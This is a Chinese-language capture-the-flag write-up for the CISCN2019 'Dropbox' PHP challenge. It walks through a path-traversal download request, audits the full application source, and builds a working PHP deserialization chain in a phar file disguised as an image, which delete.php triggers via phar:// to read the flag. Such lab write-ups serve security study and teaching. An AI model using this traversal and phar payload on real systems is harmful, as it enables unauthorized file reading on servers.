CISCN2019 Dropbox 一道web重温phar反序列化
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1730 字
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华北赛区 Day1 Web1 Dropbox

buu上有环境

进入题目登录框，注入试不出来，也貌似没非得用admin之类的登录，那就直接注册登录一条龙

账密：rice / 123

网站是提供文件上传，然后可以下载删除（类似网盘的功能

经过尝试只能传gif/jpg/png

对下载进行抓包，发现数据包中裸奔的filename= 可以试试有没有任意文件下载（可以

POST /download.php HTTP/1.1
Host: bd131b9e-4096-418d-9353-9d5577ae7a00.node5.buuoj.cn:81
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Origin: http://bd131b9e-4096-418d-9353-9d5577ae7a00.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://bd131b9e-4096-418d-9353-9d5577ae7a00.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c0e569f0f6e14cb60aa7122c89506075
Connection: close

filename=../../index.php

那就把源码下载下来

//需要往上跳两层，因为上传文件的位置根据惯例在/sandbox/hash，要下载网页文件要跳回去

代码审计

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理文件</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

得到信息还有login.php class.php

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        //sql语句有参数绑定，而不是拼接语句，注入可以不用考虑了
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

login.php

<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>

<!doctype html>

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <title>登录</title>

  <!-- Bootstrap core CSS -->
  <link href="static/css/bootstrap.min.css" rel="stylesheet">


  <style>
    .bd-placeholder-img {
      font-size: 1.125rem;
      text-anchor: middle;
    }

    @media (min-width: 768px) {
      .bd-placeholder-img-lg {
        font-size: 3.5rem;
      }
    }
  </style>
  <!-- Custom styles for this template -->
  <link href="static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
  <form class="form-signin" action="login.php" method="POST">
    <h1 class="h3 mb-3 font-weight-normal">登录</h1>
    <label for="username" class="sr-only">Username</label>
    <input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
    <label for="password" class="sr-only">Password</label>
    <input type="password" name="password" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
    <p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
    <p class="text-muted">&copy; 2018-2019</p>
  </form>
  <div class="top" id="toast-container"></div>
</body>

<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>


<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

还有从抓数据包时post的路径得知的几个页面

upload.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

register.php

<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>

<!doctype html>

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <title>注册</title>

  <!-- Bootstrap core CSS -->
  <link href="static/css/bootstrap.min.css" rel="stylesheet">


  <style>
    .bd-placeholder-img {
      font-size: 1.125rem;
      text-anchor: middle;
    }

    @media (min-width: 768px) {
      .bd-placeholder-img-lg {
        font-size: 3.5rem;
      }
    }
  </style>
  <!-- Custom styles for this template -->
  <link href="static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
  <form class="form-signin" action="register.php" method="POST">
    <h1 class="h3 mb-3 font-weight-normal">注册</h1>
    <label for="username" class="sr-only">Username</label>
    <input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
    <label for="password" class="sr-only">Password</label>
    <input type="password" name="password" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
    <p class="mt-5 mb-3 text-muted">&copy; 2018-2019</p>
  </form>
</body>
<div class="top" id="toast-container"></div>

<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>


<?php
include "class.php";

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
        if ($u->add_user($username, $password)) {
            echo("<script>window.location.href='login.php?register';</script>");
            die();
        } else {
            echo "<script>toast('此用户名已被使用', 'warning');</script>";
            die();
        }
    }
    echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>

分析

//明显要做pop链还没有unserialize函数，再结合一些其他特征包是phar反序列化的

注意到下面这个函数（download.php）对flag进行了过滤

if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}

//虽然刚刚用filename读了那么多源码，但其实并不是任意文件读取，对文件名中含有的flag进行了过滤，暗示本题要读带flag的文件

重点分析class.php

File类里面的close()存在危险函数file_get_contents()读取文件，但是这个危险函数并不在魔术方法下

先找找看File类在哪里被用了

download.php中：

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}

delete.php中：

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response)
}

构造如下payload：

<?php
class User{
    public $db;
}

/*class FileList{
    private $files;
    private $results;
    private $funcs;
}
*/
class File{
    public $filename = "/flag.txt";
}

$u = new User();
//$fl = new FileList();
$f = new File();

$u->db = $f;

//生成phar文件的代码
$phar =new Phar("rice.phar"); 
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>"); 
$phar->setMetadata($u); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

生成rice.phar然后改后缀jpg，再上传然后下载抓包用phar://读，发现：

//真是让人烦躁，没有结果

//去看了wp，之后才复现成功

原来这里close()执行调用以后缺少了回显的过程，我们需要的不是调用close()，而是调用close()之后的结果（危险函数读取flag

这里要用到Filelist类里面的__call()魔术方法

这个魔术方法之前做的一些题很少见过，再补充一下详细知识点：

__call($func, $args)会在调用不存在的方法时触发，可以接受两个参数，一个为试图调用的函数的名字，一个是该函数的参数（存为数组

以本题为例：

 public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

当调用不存在的方法时，就会去File里面找这个方法然后储存结果（需要我们自己指定$this->files为File，并且注意传参为数组

这就非常nice了，可以把我们close()的返回值记录保存下来了…但还是没做到回显

注意到下面的__destruct()方法，有点懒得看这么大依托，直接丢给ai问问：

  • 构造一个 HTML 表格，表格头部列出所有调用过的方法名（保存在 $this->funcs 数组中）。
  • 在表格的每一行，显示每个文件名（$filename）及其对应方法的返回值（$result[$func]）。这些结果存储在 $this->results 数组中。
  • 每行最后一列包含“下载”和“删除”链接，允许对每个文件执行操作。
  • 输出：将生成的 HTML 表格输出到浏览器中。

原来题目网页里面那个完成操作后显示的表格就这么来的，配合刚刚__call()将File中close()的结果储存进这个数组，就可以完成我们需要回显的需求

把User的db设置成Filelist的对象就可以了，__call()会完成一切的

构造payload：

<?php
class User{
    public $db;
    public function __construct(){
        $this->db = new FileList();
    }
}

class FileList{
    private $files;
    private $results;
    private $funcs;

    public function __construct(){
        $this->files[] = new File();
    }
}
class File{
    public $filename = "/flag.txt";
}

$u = new User();


//生成phar文件的代码
$phar =new Phar("rice.phar"); 
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>"); 
$phar->setMetadata($u); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

生成phar，然后改后缀，然后上传，然后该找能触发 phar 反序列化的函数了，在delete.php里面调用了File的delete方法，执行了一个unlink()函数，这个函数是可以触发phar反序列化的（不是找刚开始那个危险函数file_get_content，那个函数也可以触发，但在这是用来读flag的，不读我们的phar文件，所以得另找一个，我一开始脑抽觉着有个这个函数就不用再多找了，直接去download那读了（（

上传完删除的时候抓包加phar://，即可读取

便可成功获取flag

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